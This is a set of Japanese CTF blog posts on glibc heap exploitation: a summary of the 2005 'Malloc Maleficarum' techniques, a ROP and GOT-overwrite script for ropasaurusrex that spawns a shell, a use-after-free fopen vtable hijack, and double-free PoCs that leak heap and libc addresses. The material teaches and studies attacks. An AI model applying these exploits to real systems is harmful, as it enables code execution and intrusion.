The Malloc Maleficarum (Bugtraq 2005)

この記事は「CTF Advent Calendar 2016」24日目の記事です。

「glibc malloc exploit techniques」では主要なmalloc系exploitテクニックについて説明したが、歴史的には他にもさまざまな手法が公表されている。 ここでは、2005年にBugtraqメーリングリストにて公表されたテキスト「The Malloc Maleficarum」についてまとめてみる。

環境

Ubuntu Server 16.04.1 LTS 64bit版、GLIBC 2.23

$ uname -a
Linux vm-ubuntu64 4.4.0-53-generic #74-Ubuntu SMP Fri Dec 2 15:59:10 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:        16.04
Codename:       xenial

$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.

本文中で参照するコードは、引用箇所を除きGLIBC 2.23のものを用いる。

概要

2001年、「Vudo Malloc Tricks」「Once Upon A free()」というテキストにて、mallocで確保されるchunkのヘッダを細工することで任意のアドレスを書き換えるunlink attackが公表された。 その後3年の時を経て2004年、Ulrich Drepperによりglibcsafe unlinkingやdouble free detectionを含む複数のチェックが加えられ、unlink attackは過去のものとなった。

2005年、Phantasmal Phantasmagoria「The Malloc Maleficarum」というテキストにて、これらのチェックが加えられた後も依然として攻撃が可能であることを公表した。 タイトルは中世の魔女に関する有名な論文「Malleus Maleficarum(魔女の槌)」のもじりであり、テキストは「mallocの魔女」という体で「Primeの一族」「Mindの一族」「Forceの一族」「Loreの一族」「Spiritの一族」それぞれの手法と、「Chaosの一族」という後書きに分けられている。

2007年、K-sPecialは「.aware eZine Alpha」というテキストにて、「Mindの一族」の解説と誤りの指摘を行った。 さらに、blackngelは2009年に「Malloc Des-Maleficarum」、2010年に「The House Of Lore: Reloaded」というテキストを公表し、これらの手法についてあらためて解説と補足を行った。 ここでは、これらのテキストで補足されている内容についても説明する。

前置き

malloc/freeはヒープと呼ばれる一定のメモリ領域から、要求されたサイズのメモリを一時的に取得/返却する関数である。 mallocによるメモリ管理については、次のページがまとまっている。

要点を整理すると次のようになる。 ここではfreeされているchunkをfreed chunkと呼ぶことにする。

  • ひとつひとつの切り分けられたメモリはchunkと呼ばれ、それらを管理する領域としてarenaがある。
  • arenaにはサイズに応じた複数の種類のbinがあり、各binにはfreed chunkがリンクリストとして繋がれている。高速化のため、利用頻度の高い小さなサイズのchunkほど特別扱いされている。
    • fastbin: 0x80バイト未満のchunkがサイズごとに振り分けられる。Last-In-First-Out(LIFO)の単方向リスト。隣りがfreed chunkでも連結(consolidate)されない。
    • smallbin: 0x400バイト未満のchunkがサイズごとに振り分けられる。First-In-First-Out(FIFO)の双方向リスト。隣りがfreed chunkだと連結(consolidate)される。
    • largebin: 0x400バイト以上のchunkが対数スケールのサイズ範囲ごとに振り分けられる。ひとつのbinにサイズの異なるchunkが繋がり、サイズの大きなchunkから順にリンクリストに並べられる。隣りがfreed chunkだと連結(consolidate)される。
    • unsortedbin: smallbinやlargebinに入る前に一旦入れられる双方向リスト。mallocの際に先頭から一つずつbest-fitかどうかチェックされ、best-fitならそのままmallocの戻り値に、そうでなければsmallbin/largebinに振り分け直される。
  • 各chunkには2ワードのヘッダ、prevsizeとsizeがある。prevsizeは前のchunkがfreedな場合にそのサイズとなる。sizeは自身のサイズを表す。
  • freeされたchunkはリンクリストに繋がれ、ヘッダに続く2ワードが前後のchunkを指すfd、bkポインタとして用いられる。
  • mallocでfreed chunkがbinのリンクリストから切り離されるとき、その前後の継ぎ換え(unlink)が行われる。
    • 基本的には、前の次、次の前が自身を指すようになっているかチェックされる。
    • fastbinのみ単方向リストなため、次のchunkのサイズが適切なサイズになっているかのチェックしか行われない。
  • sizeの下位3ビットはchunkの属性を表すフラグになっている。
    • PREV_INUSE (1st LSB): 前のchunkがfreedかどうか。freedであればprevsizeが意味を持つ。
    • IS_MMAPPED (2nd LSB): mmapによって確保された(通常巨大な)chunkかどうか。
    • NON_MAIN_ARENA (3rd LSB): スレッドごとに確保されるarenaに対応するchunkかどうか。

以降の手法のうちのいくつかが目的とするところは、次のようなものである。

  • あるbinのリストの先頭を(chunkとしての制約を満たす)任意のアドレスにできれば、次のmallocでそのbinが使われるとき指定したアドレスが戻り値になる

これを実現するために、あれやこれやでbinのリストの先頭に任意のアドレスを入れようとするわけである。また、上で述べたように単方向リストで管理されるfastbinのみbinに入れる際のチェックが緩い。ここでは便宜上、直前の1ワードを適切なサイズにコントロールできる状態を指して「fastbin chunkの制約を満たす」と呼ぶことにする。

House of Prime (max_fast overwrite)

fastbin配列の境界外アクセスが可能だったことを利用する。 具体的には、fastbin[-1]でfastbinに入るchunk sizeの最大値(max_fast)を書き換えた後、fastbin[289]で実行中スレッドのarenaを指すポインタ(arena_key)を書き換える。 arena_keyがfreed chunkを指すようになるので、あらためてmallocして偽のarenaを作ることでfastbin chunkの制約を満たす任意のアドレスを返すようにできる。

かつてのglibcでは、arena構造体のfastbin配列の直前にmax_fastというメンバがあり、fastbinに入るchunk sizeの最大値として用いられていた。 そこで、サイズを無理やり8バイトに書き換えたchunkをfreeすると、fastbin[-1] == max_fastにfreed chunkのアドレスが入り、大きなサイズのchunkもfastbinに入るようになる。 上からもわかるように、freeする際にfastbin配列の境界チェックがされていないため、大きなchunkのアドレスはfastbin配列の範囲を越えたアドレスに書き込まれることになる。

そこで、fastbin配列の後ろにあるarena_keyメンバを指すように調整した2328バイトのchunkをfreeする。 arena_keyは実行中のスレッドにおけるarenaを指すポインタとなっており、これによりarena_keyをfreed chunkのアドレスにできる。 結果、そのchunkが実行中スレッドでのarenaとみなされるようになるので、あらためてmallocして偽のarenaを作り、fastbinの箇所の値を調整することでfastbin chunkの制約を満たす任意のアドレスを返すようにできる。

また、「Malloc Des-Maleficarum」では、NX、ASLRが無効な環境において、偽のarenaにおけるbin[0](unsortedbin)の位置にfake chunkを置くことにより、スタック上のリターンアドレスを書き換えシェルコード実行に持っていけることを説明している。

現在はfree時にサイズチェックが行われるようになり、8バイトのchunkをfreeするようなことはできなくなっている。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
3871   /* We know that each chunk is at least MINSIZE bytes in size or a
3872      multiple of MALLOC_ALIGNMENT.  */
3873   if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
3874     {
3875       errstr = "free(): invalid size";
3876       goto errout;
3877     }

また、max_fastメンバの代わりにglobal_max_fastというグローバル変数を用いるように変更されており、arena_keyメンバもTLS領域に確保されるようになっている。

この手法に関連するものとしては、libcのbssにあるglobal_max_fastをunsorted bin attack等で書き換え、任意サイズのfastbins unlink attackを行う手法が知られている。

House of Mind (freeing NON_MAIN_ARENA chunk)

ヒープバッファオーバーフロー等を利用してNON_MAIN_ARENAフラグを書き換え、そのchunkをfreeすることで偽のarenaを参照させる。 さらに、偽のarenaのbinに適当なアドレスを置いておくことで、そのアドレスにchunkのアドレスを書き込む。 NXが無効であれば、chunkにjmp命令とシェルコードを置いておくことで任意コード実行に持っていくことができる、というもの。 適当なアドレスをchunkのアドレスに書き換える話なので、NXが有効な環境ではあまり役に立たない。

chunk(p)のNON_MAIN_ARENAフラグを立て、そのchunkをfreeするとarenaとして通常のmain_arenaではなく実行中スレッドのarena(heap_info->ar_ptr)を参照するようになる。 heap_infoのアドレスはp & ~(0x100000-1)(下位20ビット切り捨て)のように計算されるので、そこに適当なアドレスを置いておくとその先がarenaとして参照される。

  48 typedef struct _heap_info
  49 {
  50   mstate ar_ptr; /* Arena for this heap. */
  51   struct _heap_info *prev; /* Previous heap. */
  52   size_t size;   /* Current size in bytes. */
  53   size_t mprotect_size; /* Size in bytes that has been mprotected
  54                            PROT_READ|PROT_WRITE.  */
  55   /* Make sure the following data is properly aligned, particularly
  56      that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
  57      MALLOC_ALIGNMENT. */
  58   char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
  59 } heap_info;

ここから先はオリジナル版と、「Malloc Des-Maleficarum」で補足されたfastbin版、top連結版がある。 また、2014年に日本の一流CTF player @potetisensei公表した手法もこれに関連するものであるため、合わせて紹介する。

Original method

chunkがfastbin chunkでない場合、次の箇所でchunkがunsortedbinの先頭に挿入される。

   void _int_free(mstate av, Void_t* mem) {
      .....
      bck = unsorted_chunks(av);
      fwd = bck->fd;
      p->bk = bck;
      p->fd = fwd;
      bck->fd = p;
      fwd->bk = p;
      .....
   }

ここで、偽のarenaのbin[0] = bckを細工しbck->fd->bkがGOTなどの書き換え可能なアドレスとなるように調整しておくことで、そのアドレスをchunkのアドレスに書き換えることができる。

現在は当該箇所が次のように修正されているため成立しない。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
4026       bck = unsorted_chunks(av);
4027       fwd = bck->fd;
4028       if (__glibc_unlikely (fwd->bk != bck))
4029         {
4030           errstr = "free(): corrupted unsorted chunks";
4031           goto errout;
4032         }
4033       p->fd = fwd;
4034       p->bk = bck;
4035       if (!in_smallbin_range(size))
4036         {
4037           p->fd_nextsize = NULL;
4038           p->bk_nextsize = NULL;
4039         }
4040       bck->fd = p;
4041       fwd->bk = p;

fastbin method

chunkがfastbin chunkの場合は、次の箇所でfastbinへの挿入が行われる。

  if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) {
   if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect (chunksize (chunk_at_offset (p, size))
                 >= av->system_mem, 0))
      {
    errstr = "free(): invalid next size (fast)";
    goto errout;
      }

    set_fastchunks(av);
    fb = &(av->fastbins[fastbin_index(size)]);
    if (__builtin_expect (*fb == p, 0))
      {
    errstr = "double free or corruption (fasttop)";
    goto errout;
      }
    printf("\nbDebug: p = 0x%x - fb = 0x%x\n", p, fb);
    p->fd = *fb;
    *fb = p;
  }

ここで、偽のarenaのfastbins[0]を適当なアドレスにしておき、chunkのsizeを16に調整することで、そのアドレスをchunkのアドレスに書き換えることができる。

av->top NIGHTMARE

chunkがfastbin chunkでない、かつ、次のchunkがtop chunkだった場合は、freeされたchunkがtop chunkとなる。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
4009     if (nextchunk != av->top) {
....
4047     }
4048
4049     /*
4050       If the chunk borders the current high end of memory,
4051       consolidate into top
4052     */
4053
4054     else {
4055       size += nextsize;
4056       set_head(p, size | PREV_INUSE);
4057       av->top = p;
4058       check_chunk(av, p);
4059     }

偽のarenaのtopを適当なアドレスにしておき、次のchunkがそのアドレスとなるようにサイズを調整することによって、そのアドレスをchunkのアドレスに書き換えることができる。

poteti method

標準で0x10000バイト以上のchunkがfreeされたとき、通常連結されない各fastbin chunkの前後を連結してunsortedbinに入れる次のような処理が走る(デフラグのようなイメージ)。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
4061     /*
4062       If freeing a large space, consolidate possibly-surrounding
4063       chunks. Then, if the total unused topmost memory exceeds trim
4064       threshold, ask malloc_trim to reduce top.
4065
4066       Unless max_fast is 0, we don't know if there are fastbins
4067       bordering top, so we cannot tell for sure whether threshold
4068       has been reached unless fastbins are consolidated.  But we
4069       don't want to consolidate on each free.  As a compromise,
4070       consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
4071       is reached.
4072     */
4073
4074     if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
4075       if (have_fastchunks(av))
4076         malloc_consolidate(av);
....
4092     }
4122 static void malloc_consolidate(mstate av)
4123 {
....
4148     unsorted_bin = unsorted_chunks(av);
....
4158     maxfb = &fastbin (av, NFASTBINS - 1);
4159     fb = &fastbin (av, 0);
4160     do {
4161       p = atomic_exchange_acq (fb, 0);
4162       if (p != 0) {
4163         do {
4164           check_inuse_chunk(av, p);
4165           nextp = p->fd;
....
4179           if (nextchunk != av->top) {
....
4188             first_unsorted = unsorted_bin->fd;
4189             unsorted_bin->fd = p;
4190             first_unsorted->bk = p;
....
4201           }
....
4209         } while ( (p = nextp) != 0);
4210
4211       }
4212     } while (fb++ != maxfb);

freeされるchunkのサイズを0x10000(FASTBIN_CONSOLIDATION_THRESHOLD)以上に書き換えた上で、偽のarenaのbin[0] = unsortedbinを細工しunsorted_bin->fd->bkを適当なアドレスにしておくことで、上記の処理が走りそのアドレスをchunkのアドレスに書き換えることができる。

House of Force (top chunk size overwrite)

ヒープの最後にあるtop chunkのsizeを-1(0xffffffff)に書き換え、続けて巨大なサイズのmallocを行うことで、top chunkを指すポインタが一周した先にある任意の0x10の倍数となるアドレスにできる。 続けてbinに何も繋がっていないサイズのmallocを行うことでそのアドレスが返ってくる。

Malloc Des-Maleficarum」では、ヒープより上にあるGOTなどを書き換えるにはmallocに負となるようなサイズを与える必要があり、そのようなサイズは多くの場合(malloc外の箇所で)セグメント違反を起こすと指摘しているが、原理的には可能である。

具体的なコードは「glibc malloc exploit techniques」を参照。

著者が2004年に「Exploiting the Wilderness」で書いた話を、glibcの修正に合わせて再編成したもの。 Doug Lea malloc(dlmalloc)において、top chunkはwildernessと呼ばれるらしい。 名付け親のKiem-Phong Vo氏は当時AT&Tベル研究所、現在はGoogleのResearch Scientistとのこと。

House of Lore (arbitrary address into smallbin)

unlinkに行われた対策が、malloc時にsmallbinからchunkを取り出す際に行われていなかったことを利用する。 具体的には、適当なfreed chunkのbk(victim->bk)を書き換えておき、繰り返しmallocを呼ぶことにより任意のアドレスをsmallbin(bin->bk)に入れる。

      .....
      if ( (victim = last(bin)) != bin) {
        if (victim == 0) /* initialization check */
          malloc_consolidate(av);
        else {
          bck = victim->bk;
          set_inuse_bit_at_offset(victim, nb);
          bin->bk = bck;
          bck->fd = bin;
          ...
          return chunk2mem(victim);
      .....

smallbinはFIFOでありvictimはbin->bkから選ばれるようになっているので、続けてmallocを呼ぶことでそのアドレスが返ってくる。 ただし、victim->bk->fdが書き換え可能なアドレスを指すようにしておく必要がある。

1411 #define last(b)      ((b)->bk)

現在の実装ではunlinkと同様の対策が加えられているため、相当の工夫をしない限り成立しない。

3318 static void *
3319 _int_malloc (mstate av, size_t bytes)
3320 {
....
3416               bck = victim->bk;
3417         if (__glibc_unlikely (bck->fd != victim))
3418                 {
3419                   errstr = "malloc(): smallbin double linked list corrupted";
3420                   goto errout;
3421                 }
3422               set_inuse_bit_at_offset (victim, nb);
3423               bin->bk = bck;
3424               bck->fd = bin;

また、「The House Of Lore: Reloaded」ではlargebinを用いる手法について考察されているが、こちらも現在の実装では対策されている。

3318 static void *
3319 _int_malloc (mstate av, size_t bytes)
3320 {
....
3720               size = chunksize (victim);
3721 
3722               /*  We know the first chunk in this bin is big enough to use. */
3723               assert ((unsigned long) (size) >= (unsigned long) (nb));
3724 
3725               remainder_size = size - nb;
3726 
3727               /* unlink */
3728               unlink (av, victim, bck, fwd);

一方、fastbinの場合は対象となるアドレスがfastbinの制約を満たすようにしておくことで現在も可能である。 詳細はfastbins unlink attackを参照。

House of Spirit (fake chunk into fastbin)

mallocで確保されたポインタをバッファオーバーフロー等で書き換えてそのままfreeさせることで、fake fastbin chunkが置かれている任意のアドレスをfastbinに入れることができる。 続けてmallocを呼ぶことでそのアドレスが返ってくる。

具体的なコードを書くと次のようになる。

/* house_of_spirit.c */
#include <stdio.h>
#include <stdlib.h>

int main()
{
    struct {
        char buf[0x50];
        char *p;
    } block;

    block.p = malloc(0x100);

    /* trigger buffer overflow */
    *(void **)(block.buf+0x8) = 0x41;   /* fake1->size */
    *(void **)(block.buf+0x48) = 0x41;  /* fake2->size */
    block.p = block.buf+0x10;           /* fake1 */

    printf("[+] freeing fake1 = %p\n", block.p);
    free(block.p);

    char *p = malloc(0x30);             /* fake1->size - 0x10 */
    printf("p = %p\n", p);

    return 0;
}
$ gcc house_of_spirit.c -o house_of_spirit
house_of_spirit.c: In function ‘main’:
house_of_spirit.c:15:31: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(block.buf+0x8) = 0x41;   /* fake1->size */
                               ^
house_of_spirit.c:16:32: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(block.buf+0x48) = 0x41;  /* fake2->size */
                                ^

$ ./house_of_spirit
[+] freeing fake1 = 0x7fff2bf30700
p = 0x7fff2bf30700

ここで、fake fastbin chunkの次のchunkとなる箇所に適当なサイズを置いておく必要があることに注意。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
3897     if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
3898         || __builtin_expect (chunksize (chunk_at_offset (p, size))
3899                              >= av->system_mem, 0))
3900       {
3901         /* We might not have a lock at this point and concurrent modifications
3902            of system_mem might have let to a false positive.  Redo the test
3903            after getting the lock.  */
3904         if (have_lock
3905             || ({ assert (locked == 0);
3906                   mutex_lock(&av->mutex);
3907                   locked = 1;
3908                   chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
3909                     || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
3910               }))
3911           {
3912             errstr = "free(): invalid next size (fast)";
3913             goto errout;
3914           }
....
3920       }

当時はこのような攻撃の可能性も存在したが、現在はStack-Smashing Protection(SSP)によりバッファがポインタより下のアドレスに確保されるようになり、さらにASLRによりスタックアドレスの推測も難しくなったため、その可能性は小さくなった。

House of Underground (Spirit and Mind)

Malloc Des-Maleficarum」で補足されている章。

Spiritでfreeされるfake chunkのNON_MAIN_ARENAフラグを立てておくことで、Mind同様にfake arenaを参照させることも考えられるという話。 当然スタック上の0x100000バイト境界をコントロールできる必要があるため、成立しにくい。

House of Chaos

最後の章には後書きとしてポエムが書いてある。 真の「プロ」(virtual adept)ことPhantasmal Phantasmagoriaからのメッセージをお読みください。

Chaosの一族


Virtuality、それは真の「プロ」と情報の二項対立であり、真の「プロ」は情報の無限の可能性を表し、また情報は無限の可能性の有限における顕現である。真の「プロ」はVirtualityの意識の部分であり、その本質は情報を生み出し拡散することにある。これが真の「プロ」が知るすべてであり、真の「プロ」が関心のあるすべてである。

あなたが幅広い知識を持ち非常に創造的な人と話すとき、たしかにあなたはハッカーと話しているのかもしれない。しかし、あなたは真の「プロ」と決して話すことはないだろう。真の「プロ」に物質的な形はなく、バーチャルの中にのみ存在する。真の「プロ」は物質の中にあるかもしれないし、ある人の中にあるかもしれない、しかしその存在自体は意識とは区別され完全に独立したものである。

所有の概念は真の「プロ」にとって意味をなさない。すべての情報はVirtualityに属し、Virtualityのみがある。このため、真の「プロ」にコンピュータセキュリティの概念はない。情報は要求によりVirtualityから呼び起こされる。Virtualityに権限レベルやシステム間の論理障壁、違法性の観点といったものはない。情報や、呼び起こすことのできるそれらのみがある。

真の「プロ」はそれ自身により作られる情報といったものを持たず、ゆえにそれから利益を得る権利や欲望を持たない。真の「プロ」は純粋に情報に情報自身の無限の可能性を示すため、そしてすべての意識体にとって有益な情報アクセスの複雑性を最小化するために存在する。情報でないものは真の「プロ」、金、名声、権力に結び付くことはない。


        私はハッカーであるか?いいえ。
        私は仮想世界に生きる見習いである。
        私はmallocの魔女であり、
        私は異世界のカルトであり、
        私はエントロピーである。
        私はPhantasmal Phantasmagoria
        真の「プロ」。

なお、virtual adeptは仮想世界の熟練者といった意味であるが、ここではいまどきの若者にも通じるように真の「プロ」と訳した。

所感

glibcでのチェック強化とNX、ASLRの普及により、House of Force以外の手法はほぼ力を失ったといえる。 また、House of Loreはfastbins unlink attackという形で姿を変えて生き残っているといえるだろう。

注意事項

このテキストはglibcに加えられた対策の不備を指摘する話であり単体で悪用可能なものではないが、商用製品やWebアプリケーションで直接的に悪用可能なものを一般に公表すると不正アクセス禁止法業務妨害罪の従犯、あるいは名誉毀損をもたらす不法行為として損害賠償義務が生じるおそれがあるため真似してはいけません。 そのような不審物を見つけた際はIPA情報処理推進機構届出を行い、修正されるのを待ちましょう。 また、企業として専用の窓口を用意しているところもあります。

OSSであれば修正パッチを送ると開発者コミュニティの求める方法で報告すると喜ばれるかもしれません。

関連リンク

Exploit系複合テクニックのメモ

この記事は「CTF Advent Calendar 2016」17日目の記事です。

ちょいちょい見かけてはいるのだが、実戦でよく忘れてしまうので応用の効きそうなものをまとめておく。

ROPからのGOT overwrite

単純なROP問題の場合、GOTに置かれた関数アドレスを読み出した後offsetからsystem関数のアドレスを計算し、それを用いてsystem("/bin/sh")を呼ぶという流れになる。 最後の部分はStack pivotでやってもよいのだが、Full-RELROでない場合、すなわちGOTの書き換えができる場合はGOT overwriteしてPLT経由で呼んだほうが楽である。

x86でROPするだけで200点取ることができた、古きよき時代のropasaurusrex (PlaidCTF 2013)でやると次のようになる。

from minipwn import *

s = connect_process(['./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d'])

"""
0804830c <write@plt>:
 804830c:       ff 25 14 96 04 08       jmp    DWORD PTR ds:0x8049614
 8048312:       68 08 00 00 00          push   0x8
 8048317:       e9 d0 ff ff ff          jmp    80482ec <__gmon_start__@plt-0x10>

0804832c <read@plt>:
 804832c:       ff 25 1c 96 04 08       jmp    DWORD PTR ds:0x804961c
 8048332:       68 18 00 00 00          push   0x18
 8048337:       e9 b0 ff ff ff          jmp    80482ec <__gmon_start__@plt-0x10>

 80484b6:       5e                      pop    esi
 80484b7:       5f                      pop    edi
 80484b8:       5d                      pop    ebp
 80484b9:       c3                      ret
"""

plt_write = 0x804830c
plt_read = 0x804832c
got_write = 0x8049614
addr_pop3 = 0x80484b6

buf = 'A' * 140
buf += p32(plt_write) + p32(addr_pop3) + p32(1) + p32(got_write) + p32(4)
buf += p32(plt_read) + p32(addr_pop3) + p32(0) + p32(got_write) + p32(12)
buf += p32(plt_write) + 'AAAA' + p32(got_write+4)

sendline(s, buf)

"""
$ ldd ./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d
        linux-gate.so.1 =>  (0xf77b1000)
        libc.so.6 => /lib32/libc.so.6 (0xf75ef000)
        /lib/ld-linux.so.2 (0x56637000)

$ nm -D /lib32/libc.so.6 | grep -e write -e system
0003a920 W system
000d4490 W write
"""

data = s.recv(8192)
addr_write = u32(data)
print "[+] addr_write = %x" % addr_write
addr_system = addr_write - 0xd4490 + 0x3a920

s.sendall(p32(addr_system) + '/bin/sh\x00')

interact(s)
$ python solve.py
[+] addr_write = f7679490
id
uid=1000(user) gid=1000(user) groups=1000(user)

Stack pivotしなくてよいので簡単になった。

x64の場合は引数をrdiレジスタに入れる必要があるが、libc_csu_init gadgetや適当なPLTをcallしている箇所を使うことでなんとでもなる。

GOT overwriteからのROP

逆に、GOT overwriteや関数ポインタ書き換えからpop-pop-ret gadgetなどに飛ばすことで、スタック上のバッファに置いたROP chainに繋げるという手法も知られている。

スタック上のバッファに読み込む箇所(read(0, local_buf, 1000)など)に飛ばしてリターンアドレスを書き換え、無理やりROPに持っていくという手法もある。 多くの場合stack canaryのチェックがあるが、前もって__stack_chk_failのGOTをret gadgetなどに書き換えておけば通過できる。

GOT overwriteからのFormat String Attack

任意の入力を与えることができるatoi(buf)のような関数のGOTをprintf系関数に書き換えることで、無理やりFormat String Attackに持っていくことができる。 これにより、スタック上に置かれたlibcやスタック、ヒープのアドレスをリークして、ASLRを回避できる。

stdin/stdout/stderr書き換えからのEIP奪取

ソースコード中に次のような処理が存在する場合、実行ファイルのbss上にstdin/stdout/stderrへのポインタが置かれる。

$ cat test.c
#include <stdio.h>

int main()
{
    char buf[100];
    fprintf(stderr, "stdin=%p, stdout=%p, stderr=%p\n", &stdin, &stdout, &stderr);
    fgets(buf, 100, stdin);
    fputs(buf, stdout);
    return 0;
}

$ gcc test.c -o test

$ ./test
stdin=0x601070, stdout=0x601060, stderr=0x601080
AAAA
AAAA

これらのポインタは_IO_FILE_plus構造体を指しており、この構造体は関数テーブルへのポインタ(vtable)を持っている。 したがって、bss上のポインタを適当なバッファを指すように書き換え、fgets等が呼ばれる際に参照される関数テーブル内のポインタをコントロールすれば、任意のアドレスに飛ばすことができる。

なお、fopen関数が返すポインタも実体は_IO_FILE_plus構造体なので、use-after-freeと組み合わせることで同様にEIP奪取ができる。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void wontcall()
{
    system("false");
}

int main()
{
    char *p1 = malloc(0x220);
    printf("p1 = %p\n", p1);
    free(p1);

    FILE *fp = fopen("/etc/passwd", "r");
    printf("fp = %p\n", fp);

    void *got_system = 0x601028;
    memset(p1, 'A', 0xd8);
    strcpy(p1, "\x01\x80;/bin/sh");         /* _IO_FILE_plus.file._flags & _IO_USER_LOCK != 0 */
    *(void **)(p1+0xd8) = got_system-0x10;  /* _IO_FILE_plus.vtable->__finish == got_system */

    fclose(fp);
    return 0;
}
$ gcc uaf-fopen.c -o uaf-fopen
uaf-fopen.c: In function ‘main’:
uaf-fopen.c:19:24: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
     void *got_system = 0x601028;
                        ^

$ ldd ./uaf-fopen
        linux-vdso.so.1 =>  (0x00007ffeff303000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f792b872000)
        /lib64/ld-linux-x86-64.so.2 (0x000055f30352e000)

$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
(snip)

$ ./uaf-fopen
p1 = 0x1234010
fp = 0x1234010
sh: 1: �: not found
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$
Segmentation fault (core dumped)

なお、glibc 2.24以降ではチェックが加えられているらしい。

関連リンク

glibc malloc exploit techniques

malloc系exploitテクニックのうち、応用しやすそうなもののメモ。

環境

Ubuntu Server 16.04.1 LTS 64bit版、GLIBC 2.23

$ uname -a
Linux vm-ubuntu64 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:        16.04
Codename:       xenial

$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.

double free vulnerability and overlapping chunks

double free脆弱性は一度freeしたポインタをもう一度freeできてしまう脆弱性である。 この脆弱性を使うと、次のようにしてオーバーラップしたchunkを二つ得ることができる。 また、これらを利用することでサイズの違うchunkの書き換えやヒープアドレス、libcアドレスのリークを行うことができる。

/* double_free.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    puts("[+] allocate p1");
    char *p1 = malloc(0x80);
    printf("p1 = %p\n", p1);

    puts("\n[+] free p1");
    free(p1);

    puts("\n[+] allocate p2");
    char *p2 = malloc(0x90);
    printf("p2 = %p\n", p2);

    puts("\n[+] p1 double free");
    free(p1);

    puts("\n[+] allocate p3");
    char *p3 = malloc(0xa0);
    printf("p3 = %p\n", p3);

    puts("\n[+] now p2 and p3 are overlapped");
    memset(p2, 'A', 0x80);
    memset(p3, 'B', 0x80);
    printf("*p2 = %s\n", p2);
    printf("*p3 = %s\n", p3);

    puts("\n[+] allocate p4, p5, p6");
    char *p4 = malloc(0xb0);
    char *p5 = malloc(0xc0);
    char *p6 = malloc(0xd0);
    printf("p4 = %p\n", p4);
    printf("p5 = %p\n", p5);
    printf("p6 = %p\n", p6);

    puts("\n[+] free p5 and p2");
    free(p5);
    free(p2);

    puts("\n[+] leak heap address via p3");
    printf("*p3 = %p\n", *(void **)p3);
    printf("heap base = %p\n", *(void **)p3 - 0x580);

    puts("\n[+] free p6");
    free(p6);

    puts("\n[+] leak libc address via p3: &(main_arena->top)");
    printf("*p3 = %p\n", *(void **)p3);
    printf("libc base = %p\n", *(void **)p3 - 0x3c3b78);

    return 0;
}
$ gcc double_free.c -o double_free

$ ./double_free
[+] allocate p1
p1 = 0x235a420

[+] free p1

[+] allocate p2
p2 = 0x235a420

[+] p1 double free

[+] allocate p3
p3 = 0x235a420

[+] now p2 and p3 are overlapped
*p2 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
*p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

[+] allocate p4, p5, p6
p4 = 0x235a4d0
p5 = 0x235a590
p6 = 0x235a660

[+] free p5 and p2

[+] leak heap address via p3
*p3 = 0x235a580
heap base = 0x235a000

[+] free p6

[+] leak libc address via p3: &(main_arena->top)
*p3 = 0x7f8990ea9b78
libc base = 0x7f8990ae6000

ヒープオーバーフローやこの挙動を利用してheap上のchunk headerを書き換えることにより、以降に述べる攻撃が可能となる。

allocate large chunks in heap segment

通常0x20000バイト(M_MMAP_THRESHOLD)以上のメモリをallocすると、その領域はmmapにより確保される。 しかし、一度確保したメモリをfreeしてからあらためてallocすると、以降の領域はheap領域に確保される。

/* large_chunks_in_heap.c */
#include <stdio.h>
#include <stdlib.h>

int main()
{
    puts("[+] allocate p1");
    char *p1 = malloc(0x21000);
    printf("p1 = %p\n", p1);

    puts("\n[+] free p1");
    free(p1);

    puts("\n[+] allocate p2, p3, p4");
    char *p2 = malloc(0x21000);
    printf("p2 = %p\n", p2);
    char *p3 = malloc(0x21000);
    printf("p3 = %p\n", p3);
    char *p4 = malloc(0x21000);
    printf("p4 = %p\n", p4);

    return 0;
}
$ gcc large_chunks_in_heap.c -o large_chunks_in_heap

